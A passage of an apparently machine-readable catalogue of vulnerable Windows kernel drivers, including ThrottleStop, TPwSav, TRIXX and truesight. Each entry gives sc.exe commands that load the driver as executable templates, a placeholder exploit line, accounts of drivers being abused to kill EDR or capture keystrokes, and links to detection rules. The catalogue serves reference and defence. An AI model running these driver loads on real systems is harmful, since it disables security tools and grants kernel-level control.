    "namespace": "windows:kernel:test2",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create TestBone.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\TestBone.sys type=kernel && sc.exe start TestBone.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver TestBone.sys\"\n\n# TestBone.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-testbone.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create TestBone.sys binPath=C:\\windows\\temp\\TestBone.sys type=kernel && sc.exe start TestBone.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-testbone",
    "install": [
      {
        "method": "custom",
        "description": "Load TestBone.sys kernel driver",
        "commands": [
          "sc.exe create TestBone.sys binPath=C:\\windows\\temp\\TestBone.sys type=kernel && sc.exe start TestBone.sys"
        ]
      }
    ],
    "name": "TestBone.sys",
    "namespace": "windows:kernel:testbone",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create tfbfs3ped.sys binPath=C:\\\\windows\\\\temp\\\\tfbfs3ped.sys type=kernel && sc.exe start tfbfs3ped.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver tfbfs3ped.sys\"\n\n# tfbfs3ped.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-tfbfs3ped.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-tfbfs3ped",
    "name": "tfbfs3ped.sys",
    "namespace": "windows:kernel:tfbfs3ped",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create TfSysMon.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\TfSysMon.sys type=kernel && sc.exe start TfSysMon.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver TfSysMon.sys\"\n\n# TfSysMon.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-tfsysmon.md",
    "author": "rahulwt",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create TfSysMon.sys binPath=C:\\windows\\temp\\TfSysMon.sys type=kernel && sc.exe start TfSysMon.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-tfsysmon",
    "install": [
      {
        "method": "custom",
        "description": "Load TfSysMon.sys kernel driver",
        "commands": [
          "sc.exe create TfSysMon.sys binPath=C:\\windows\\temp\\TfSysMon.sys type=kernel && sc.exe start TfSysMon.sys"
        ]
      }
    ],
    "name": "TfSysMon.sys",
    "namespace": "windows:kernel:tfsysmon",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/BlackSnufkin/BYOVD/tree/main/TfSysMon-Killer"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create TGSafe.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\TGSafe.sys type=kernel && sc.exe start TGSafe.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver TGSafe.sys\"\n\n# TGSafe.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-tgsafe.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create TGSafe.sys binPath=C:\\windows\\temp\\TGSafe.sys type=kernel && sc.exe start TGSafe.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-tgsafe",
    "install": [
      {
        "method": "custom",
        "description": "Load TGSafe.sys kernel driver",
        "commands": [
          "sc.exe create TGSafe.sys binPath=C:\\windows\\temp\\TGSafe.sys type=kernel && sc.exe start TGSafe.sys"
        ]
      }
    ],
    "name": "TGSafe.sys",
    "namespace": "windows:kernel:tgsafe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create thelper.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\thelper.sys type=kernel && sc.exe start thelper.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver thelper.sys\"\n\n# thelper.sys\n\nOCular THelper driver with arbitrary kernel memory read/write and process manipulation capabilities. Identified in ESET EDR killers research (March 2026) with 46 execution parents linked to AgentStp campaigns abusing the driver to disable EDR products.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-thelper.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "OCular THelper driver with arbitrary kernel memory read/write and process manipulation capabilities. Identified in ESET EDR killers research (March 2026) with 46 execution parents linked to AgentStp campaigns abusing the driver to disable EDR products.",
    "execution": {
      "template": "sc.exe create thelper.sys binPath=C:\\windows\\temp\\thelper.sys type=kernel && sc.exe start thelper.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-thelper",
    "install": [
      {
        "method": "custom",
        "description": "Load thelper.sys kernel driver",
        "commands": [
          "sc.exe create thelper.sys binPath=C:\\windows\\temp\\thelper.sys type=kernel && sc.exe start thelper.sys"
        ]
      }
    ],
    "name": "thelper.sys",
    "namespace": "windows:kernel:thelper",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.welivesecurity.com/en/eset-research/edr-killers-explained/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create throttlestop.sys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\throttlestop.sys type=kernel && sc.exe start throttlestop.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver throttlestop.sys\"\n\n# throttlestop.sys\n\nThrottleStop is developed by TechPowerUp and is designed to monitor for and correct CPU throttling issues. However, Kaspersky researchers from the Global Emergency Response Team (GERT) found out that it is being abused by attackers to terminate defense mechanisms.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-throttlestop.md",
    "author": "Cristian Souza",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "ThrottleStop is developed by TechPowerUp and is designed to monitor for and correct CPU throttling issues. However, Kaspersky researchers from the Global Emergency Response Team (GERT) found out that it is being abused by attackers to terminate defense mechanisms.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create throttlestop.sys binPath= C:\\windows\\temp\\throttlestop.sys type=kernel && sc.exe start throttlestop.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "process-manip",
      "requires-root",
      "streaming"
    ],
    "id": "windows-kernel-throttlestop",
    "install": [
      {
        "method": "custom",
        "description": "Load throttlestop.sys kernel driver",
        "commands": [
          "sc.exe create throttlestop.sys binPath= C:\\windows\\temp\\throttlestop.sys type=kernel && sc.exe start throttlestop.sys"
        ]
      }
    ],
    "name": "throttlestop.sys",
    "namespace": "windows:kernel:throttlestop",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securelist.com/av-killer-exploiting-throttlestop-sys/117026/"
      },
      {
        "label": "Reference",
        "url": "https://www.cve.org/CVERecord?id=CVE-2025-7771"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create titidrv.sys binPath=C:\\\\windows\\\\temp\\\\titidrv.sys type=kernel && sc.exe start titidrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver titidrv.sys\"\n\n# titidrv.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-titidrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-titidrv",
    "name": "titidrv.sys",
    "namespace": "windows:kernel:titidrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create tmfsdrv2 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\tmfsdrv2.sys type=kernel && sc.exe start tmfsdrv2\"\n\n# tm_filter.sys\n\nTeramind Inc. kernel-mode filter drivers (tm_filter.sys and tmfsdrv2.sys) providing kernel-level input capture including keylogging and screen capture capabilities. Both signed by DigiCert under Teramind Inc. certificate. Execution parents point to teramind_agent MSI installer. Abused by threat actors for stealth monitoring operations. tmfsdrv2.sys has 1/73 detections on VirusTotal.\n\n**Use Case:** Capture user input and screen content for surveillance\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1056.001\n",
    "_source": "windows-kernel-tm-filter.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Teramind Inc. kernel-mode filter drivers (tm_filter.sys and tmfsdrv2.sys) providing kernel-level input capture including keylogging and screen capture capabilities. Both signed by DigiCert under Teramind Inc. certificate. Execution parents point to teramind_agent MSI installer. Abused by threat actors for stealth monitoring operations. tmfsdrv2.sys has 1/73 detections on VirusTotal.",
    "execution": {
      "template": "sc.exe create tmfsdrv2 binPath=C:\\windows\\temp\\tmfsdrv2.sys type=kernel && sc.exe start tmfsdrv2",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "interactive",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root",
      "stealth",
      "streaming"
    ],
    "id": "windows-kernel-tm-filter",
    "install": [
      {
        "method": "custom",
        "description": "Load tm_filter.sys kernel driver",
        "commands": [
          "sc.exe create tmfsdrv2 binPath=C:\\windows\\temp\\tmfsdrv2.sys type=kernel && sc.exe start tmfsdrv2"
        ]
      }
    ],
    "name": "tm_filter.sys",
    "namespace": "windows:kernel:tm-filter",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/243"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create TmComm.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\TmComm.sys type=kernel && sc.exe start TmComm.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver TmComm.sys\"\n\n# TmComm.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-tmcomm.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/cc687fe3741bbde1dd142eac0ef59fd1d4457daee43cdde23bb162ef28d04e64.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create TmComm.sys binPath=C:\\windows\\temp\\TmComm.sys type=kernel && sc.exe start TmComm.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-tmcomm",
    "install": [
      {
        "method": "custom",
        "description": "Load TmComm.sys kernel driver",
        "commands": [
          "sc.exe create TmComm.sys binPath=C:\\windows\\temp\\TmComm.sys type=kernel && sc.exe start TmComm.sys"
        ]
      }
    ],
    "name": "TmComm.sys",
    "namespace": "windows:kernel:tmcomm",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=VulnDriver"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Tmel.sys binPath=C:\\\\windows\\\\temp\\\\Tmel.sys type=kernel && sc.exe start Tmel.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Tmel.sys\"\n\n# Tmel.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-tmel.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-tmel",
    "name": "Tmel.sys",
    "namespace": "windows:kernel:tmel",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create TPwSav.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\TPwSav.sys type=kernel && sc.exe start TPwSav.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver TPwSav.sys\"\n\n# TPwSav.sys\n\nA driver associated with Toshiba laptops power saving functionality allows arbitary one byte reading and writing mapped physical addresses. Blackpoint Cyber's SOC observed this driver being used as part of a custom EDRSandblast malware to blind EDR prior to Qilin ransomware deployment.\n\n**Use Case:** Elevate privileges, Blind EDR\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-tpwsav.md",
    "author": "Robel Campbell",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "A driver associated with Toshiba laptops power saving functionality allows arbitary one byte reading and writing mapped physical addresses. Blackpoint Cyber's SOC observed this driver being used as part of a custom EDRSandblast malware to blind EDR prior to Qilin ransomware deployment.",
    "execution": {
      "template": "sc.exe create TPwSav.sys binPath=C:\\windows\\temp\\TPwSav.sys type=kernel && sc.exe start TPwSav.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "compression",
      "file-system",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-tpwsav",
    "install": [
      {
        "method": "custom",
        "description": "Load TPwSav.sys kernel driver",
        "commands": [
          "sc.exe create TPwSav.sys binPath=C:\\windows\\temp\\TPwSav.sys type=kernel && sc.exe start TPwSav.sys"
        ]
      }
    ],
    "name": "TPwSav.sys",
    "namespace": "windows:kernel:tpwsav",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blackpointcyber.com/resources/blog/qilin-ransomware-and-the-hidden-dangers-of-byovd/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create TRIXX binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\TRIXX.sys type=kernel && sc.exe start TRIXX\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver TRIXX.sys\"\n\n# TRIXX.sys\n\nTRIXX.sys is a shared utility kernel driver distributed by TechPowerUp LLC with Sapphire TRIXX and GPU-Z. The driver provides completely unrestricted hardware access from usermode through 16+ IOCTLs with zero validation on hardware parameters, including arbitrary port I/O read/write, arbitrary PCI configuration space read/write via HalGetBusDataByOffset/HalSetBusDataByOffset, MMIO BAR mapping via MmMapIoSpace, and MMIO read/write through mapped BARs. Physical memory read/write is achievable by remapping a PCI device BAR to a target physical address then mapping it via MmMapIoSpace. The driver creates its device dynamically based on the Windows service name and has no hardware dependency, loading on any x64 Windows system. TechPowerUp has a history of vulnerable kernel drivers including GPU-Z.sys (CVE-2019-7245, CVE-2025-5324) and ThrottleStop.sys (CVE-2025-7771) which expose the same MmMapIoSpace primitive. Fresh EV code signing certificate valid until April 2028 with zero AV detections.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-trixx.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "TRIXX.sys is a shared utility kernel driver distributed by TechPowerUp LLC with Sapphire TRIXX and GPU-Z. The driver provides completely unrestricted hardware access from usermode through 16+ IOCTLs with zero validation on hardware parameters, including arbitrary port I/O read/write, arbitrary PCI configuration space read/write via HalGetBusDataByOffset/HalSetBusDataByOffset, MMIO BAR mapping via MmMapIoSpace, and MMIO read/write through mapped BARs. Physical memory read/write is achievable b...",
    "execution": {
      "template": "sc.exe create TRIXX binPath=C:\\windows\\temp\\TRIXX.sys type=kernel && sc.exe start TRIXX",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "network-intensive",
      "requires-root"
    ],
    "id": "windows-kernel-trixx",
    "install": [
      {
        "method": "custom",
        "description": "Load TRIXX.sys kernel driver",
        "commands": [
          "sc.exe create TRIXX binPath=C:\\windows\\temp\\TRIXX.sys type=kernel && sc.exe start TRIXX"
        ]
      }
    ],
    "name": "TRIXX.sys",
    "namespace": "windows:kernel:trixx",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/291"
      },
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/320"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create truesight.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\truesight.sys type=kernel && sc.exe start truesight.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver truesight.sys\"\n\n# truesight.sys\n\nThis is a C# AV/EDR Killer using Rogue Anti-Malware Driver 3.3. This driver is not present in the loldrivers or Windows blocklist at the time of this writing. The only reason I'm making this public is because the company has already published a fix in version 3.4, and Microsoft will likely block this driver soon. This driver can be used in Windows 23H2 with HVCI enabled, loldrivers blocklist, or WDAC enabled. HVCI is designed to ensure the integrity of code executed in the kernel, but it cannot protect against all possible vulnerabilities or actions that can be performed through drivers or system interfaces.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-truesight.md",
    "author": "ph4nt0mbyt3, Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "This is a C# AV/EDR Killer using Rogue Anti-Malware Driver 3.3. This driver is not present in the loldrivers or Windows blocklist at the time of this writing. The only reason I'm making this public is because the company has already published a fix in version 3.4, and Microsoft will likely block this driver soon. This driver can be used in Windows 23H2 with HVCI enabled, loldrivers blocklist, or WDAC enabled. HVCI is designed to ensure the integrity of code executed in the kernel, but it cann...",
    "execution": {
      "template": "sc.exe create truesight.sys binPath=C:\\windows\\temp\\truesight.sys type=kernel && sc.exe start truesight.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-truesight",
    "install": [
      {
        "method": "custom",
        "description": "Load truesight.sys kernel driver",
        "commands": [
          "sc.exe create truesight.sys binPath=C:\\windows\\temp\\truesight.sys type=kernel && sc.exe start truesight.sys"
        ]
      }
    ],
    "name": "truesight.sys",
    "namespace": "windows:kernel:truesight",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/ph4nt0mbyt3/Darkside"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create TSDRVX64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\TSDRVX64.sys type=kernel && sc.exe start TSDRVX64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver TSDRVX64.sys\"\n\n# TSDRVX64.sys\n\nNorthwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 8.8, indicating a privilege escalation impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-tsdrvx64.md",
    "author": "Northwave Cyber Security",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Northwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 8.8, indicating a privilege escalation impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.",
    "execution": {
      "template": "sc.exe create TSDRVX64 binPath=C:\\windows\\temp\\TSDRVX64.sys type=kernel && sc.exe start TSDRVX64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-tsdrvx64",
    "install": [
      {
        "method": "custom",
        "description": "Load TSDRVX64.sys kernel driver",
        "commands": [
          "sc.exe create TSDRVX64 binPath=C:\\windows\\temp\\TSDRVX64.sys type=kernel && sc.exe start TSDRVX64"
        ]
      }
    ],
    "name": "TSDRVX64.sys",
    "namespace": "windows:kernel:tsdrvx64",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
